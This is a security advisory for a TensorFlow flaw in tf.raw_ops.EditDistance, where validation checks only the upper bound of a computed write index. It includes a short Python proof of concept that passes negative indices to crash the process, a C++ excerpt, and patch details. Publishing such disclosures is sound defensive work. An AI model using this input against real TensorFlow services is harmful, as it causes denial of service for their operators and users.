PT-2026-59707 · Pypi · Tensorflow
Published
2026-07-09
·
Updated
2026-07-09
CVSS v3.1
7.1
High
| Vector | AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H |
Impact
The implementation of
tf.raw ops.EditDistance has incomplete validation. Users can pass negative values to cause a segmentation fault based denial of service:python
import tensorflow as tf
hypothesis indices = tf.constant(-1250999896764, shape=[3, 3], dtype=tf.int64)
hypothesis values = tf.constant(0, shape=[3], dtype=tf.int64)
hypothesis shape = tf.constant(0, shape=[3], dtype=tf.int64)
truth indices = tf.constant(-1250999896764, shape=[3, 3], dtype=tf.int64)
truth values = tf.constant(2, shape=[3], dtype=tf.int64)
truth shape = tf.constant(2, shape=[3], dtype=tf.int64)
tf.raw ops.EditDistance(
hypothesis indices=hypothesis indices,
hypothesis values=hypothesis values,
hypothesis shape=hypothesis shape,
truth indices=truth indices,
truth values=truth values,
truth shape=truth shape)In multiple places throughout the code, we are computing an index for a write operation:
cc
if (g truth == g hypothesis) {
auto loc = std::inner product(g truth.begin(), g truth.end(),
output strides.begin(), int64 t{0});
OP REQUIRES(
ctx, loc < output elements,
errors::Internal("Got an inner product ", loc,
" which would require in writing to outside of "
"the buffer for the output tensor (max elements ",
output elements, ")"));
output t(loc) =
gtl::LevenshteinDistance<T>(truth seq, hypothesis seq, cmp);
// ...
}However, the existing validation only checks against the upper bound of the array. Hence, it is possible to write before the array by massaging the input to generate negative values for
loc.Patches
We have patched the issue in GitHub commit 30721cf564cb029d34535446d6a5a6357bebc8e7.
The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.
Fix
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Tensorflow